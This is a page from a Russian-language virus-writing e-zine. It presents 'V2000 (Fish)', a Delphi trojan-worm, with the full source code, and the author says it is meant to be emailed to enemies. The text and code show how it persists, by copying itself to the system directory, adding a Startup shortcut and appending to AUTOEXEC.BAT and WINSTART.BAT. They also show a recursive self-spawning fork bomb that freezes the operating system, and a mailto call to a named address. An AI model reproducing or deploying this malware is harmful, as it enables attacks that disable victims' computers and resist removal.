- [Duke's Virus Labs #9] - [Page 22] -

                           Троян-червь V2000(Fish)
                                                   by RedArc

     Написан  на  Delphi  в  предверии наступления нового тысячелетия. Никакой
деструкции  нет.  Весь  эффект  завязан на принципе "атомного распада ядер"...
Предназначен для рассылки по E-MAIL недругам.

Принцип   действия   зверька:

     1.  Копирует  свое  тело в каталог %SystemRoot32% и устанавливает линк на
него  в  папке  StartUp  для того, чтобы получать управление при перезагрузках
системы.
     2.  Ищет  в  корне  текущего диска файлы AUTOEXEC.BAT и WINSTART.BAT (при
отсутствии  создает  сам)  и  дописывает  в них команду запуска своего тела из
%SystemRoot32%.   Это   сделано  для  того,  чтобы  дополнительными  способами
гарантировать свой запуск при перезагрузках системы.
     3. Запускает три своих копии на исполнение (основной эффект).
     4. Запускает почтовую программу и создает письмо на адрес lamer@v2000.org
     5. Завершает работу собственной копии.

     Итак,  после  запуска  зверька,  он  порождает  три  своих копии, которые
порождают  каждая  еще  по три копии и т.д. При этом с каждым разом происходит
торможение   компа   (забивание  памяти),  что  приводит  к  полному  зависону
операционки.  Рассчитано на то, что юзер не успеет войти в файловый процессор,
отыскать  все  ссылки  на  зверька  и  прибить их. Прибивать нужно таки именно
ссылки,  так  как  каждая новая копия процесса будет проверять наличие файла в
%SystemRoot32%  и  при  отсутствии вновь ее создавать. Конечно, в случае Win9x
можно  просто  грузануться с дискеты и прибить все ссылки и тушки, но в случае
WinNT  с NTFS это будет сделать несколько проблематично.
     Да,  совсем  забыл сказать... Форма зверька сделана в виде символов "Year
2000". Так сказать, для эстетики.


===== begin hll2000.dpr =====
program HLL2000;

uses
  Forms,
  Windows,
  Splash in 'Splash.pas' {Form1};

{$R *.RES}

begin
  Application.Initialize;
  Application.Title := ' V2000';
  Application.CreateForm(TfrmSplash, Form1);
  Form1.Button1.Click;
  Application.Run;
end.
===== end   hll2000.dpr =====

===== begin splash.pas =====
unit Splash;

{$I-}

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls, Registry, ComCtrls, FileUtil,
  RxGrdCpt, ShellAPI, NMsmtp, Psock, NMMSG, ShlObj;

type
  TfrmSplash = class( TForm )
    Button1: TButton;
    ProgressBar1: TProgressBar;
    RxGradientCaption1: TRxGradientCaption;
    procedure FormCreate( Sender : TObject );
    procedure FormPaint( Sender : TObject );
    procedure Button1Click(Sender: TObject);
  private
    FW, FH : Integer;
    function CreateWndRgn : hRgn;
  end;

var
   Form1 : TfrmSplash;
   FRegistry : TRegistry;

implementation

{$R *.DFM}

const
  cSplashName1 = 'Year 2000';

function GetRightValue( ALowBound, AHighBound, AValue : Integer ) : Integer;
begin
  if ( AValue > AHighBound ) then
    Result := ALowBound + ( AHighBound - AValue )
  else
    Result := AValue;
end;

procedure TfrmSplash.FormCreate( Sender : TObject );
begin
  SetWindowRgn( Handle, CreateWndRgn( ), True );
end;

function TfrmSplash.CreateWndRgn : hRgn;
var
  SaveMode : Integer;
begin
  SaveMode := SetBKMode( Canvas.Handle, TRANSPARENT );
  with Canvas.Font do
  begin
    Name := 'Times New Roman';
    Size := 35;
    Style := [fsBold];
  end;
  FW := Canvas.TextWidth( cSplashName1);
  FH := Canvas.TextHeight( cSplashName1);
  BeginPath( Canvas.Handle );
  Canvas.TextOut( ( Width div 2 ) - ( FW div 2 ), ( Height div 2 ) - ( FH div 2 ), cSplashName1 );
  EndPath( Canvas.Handle );
  Result := PathToRegion( Canvas.Handle );
  SetBKMode( Canvas.Handle, SaveMode );
end;

procedure TfrmSplash.FormPaint( Sender : TObject );
var
  ARgn : hRgn;
  R : TRect;
  I : Integer;
begin
  ARgn := CreateRectRgn( 0, 0, 0, 0 );
  GetWindowRgn( Handle, ARgn );
  ExtSelectClipRgn( Canvas.Handle, ARgn, RGN_COPY );
  DeleteObject( ARgn );
  R := Bounds( ( Width div 2 ) - ( FW div 2 ), ( Height div 2 ) - ( FH div 2 ), FW, 1 );
  for i := 1 to FH do
  begin
    Canvas.Brush.Color := 0 or RGB( 200, 50, 147 + Round( ( 255 - 147 ) * i / FH ) );
    Canvas.FillRect( R );
    OffsetRect( R, 0, 1 );
  end;
end;

Function ExecProgramFile (FName : String) : THandle;
var
   S : String;
   ProcessName,
   ProcessParam : PChar;
   IpProcessAttributes : PSecurityAttributes;
   IpThreadAttributes  : PSecurityAttributes;
   bInheritHandles     : bool;
   dwCreationFlags     : dword;
   IpEnvironment       : Pointer;
   IpCurrentDirectory  : LPCTSTR;
   IpStartupInfo       : _STARTUPINFOA;
   IpProcessInformation: PROCESS_INFORMATION;
begin
     S := FName;
     if not FileExists (S) then begin
        ExecProgramFile := 0;
        Exit;
     end;
     ProcessName  := nil;
     ProcessParam := PChar (S);

     IpProcessAttributes := nil;
     IpThreadAttributes  := nil;
     bInheritHandles     := True;
     dwCreationFlags     := Create_Default_Error_Mode;
     IpEnvironment       := nil;
     IpCurrentDirectory  := nil;
     with IpStartupInfo do begin
          cb := SizeOf (TStartupInfo);
          lpReserved := nil;
          lpDesktop  := nil;
          lpTitle    := nil;
          dwX        := 0;
          dwY        := 0;
          dwXSize    := 100;
          dwYSize    := 100;
          dwXCountChars := 80;
          dwYCountChars := 24;
          dwFillAttribute := 15;
          dwFlags       := STARTF_USESTDHANDLES;
          wShowWindow   := SW_MAXIMIZE;
          cbReserved2   := 0;
          lpReserved2   := nil;
     end;
     if CreateProcess (ProcessName, ProcessParam, IpProcessAttributes, IpThreadAttributes,
                       bInheritHandles, dwCreationFlags, IpEnvironment,
                       IpCurrentDirectory, IpStartupInfo, IpProcessInformation)

     then
       Result:=IpProcessInformation.hProcess
     Else
       Result:=0;
end;

procedure ExecProgramFromPanel;
var
   AhProcess : THandle;
   S : String;
begin
     S := ParamStr (0);
     AhProcess:=ExecProgramFile (S);
end;

procedure AutoStart (const Name1, Name2 : String);
var
   T : TextFile;
begin
     AssignFile (T, Name1);
     if FileExists (Name1) then
        Append (T)
     else
        ReWrite (T);
     WriteLn (T, Name2);
     CloseFile (T);
end;

procedure TfrmSplash.Button1Click(Sender: TObject);
var
   S, S1, S2 : String;
begin
     S := ParamStr (0);
     S1 := GetSystemDir + '\V2000.EXE';
     if (Pos (GetSystemDir, S) = 0) and (not FileExists (S1)) then begin
        CopyFile (S, S1, nil);
        CreateFileLink (S1, 'Fish', CSIDL_STARTUP);
     end;
{--------------------------------------------------------------------------------------}
     S2 := S[1] + ':\autoexec.bat';
     AutoStart (S2, S1);
     S2 := S[1] + ':\winstart.bat';
     AutoStart (S2, S1);
{--------------------------------------------------------------------------------------}
     Randomize;
     Form1.Top := Random (640);
     Form1.Left := Random (480);
     Form1.Show;
     Form1.Refresh;
     Sleep (100);
     ExecProgramFromPanel;
     Sleep (100);
     ExecProgramFromPanel;
     Sleep (100);
     ExecProgramFromPanel;
     Sleep (2000);
{--------------------------------------------------------------------------------------}
    ShellExecute(0, Nil, PChar('MailTo:lamer@v2000.org'), nil, nil, SW_Maximize);
{--------------------------------------------------------------------------------------}

  Close;
end;

end.
===== end   splash.pas =====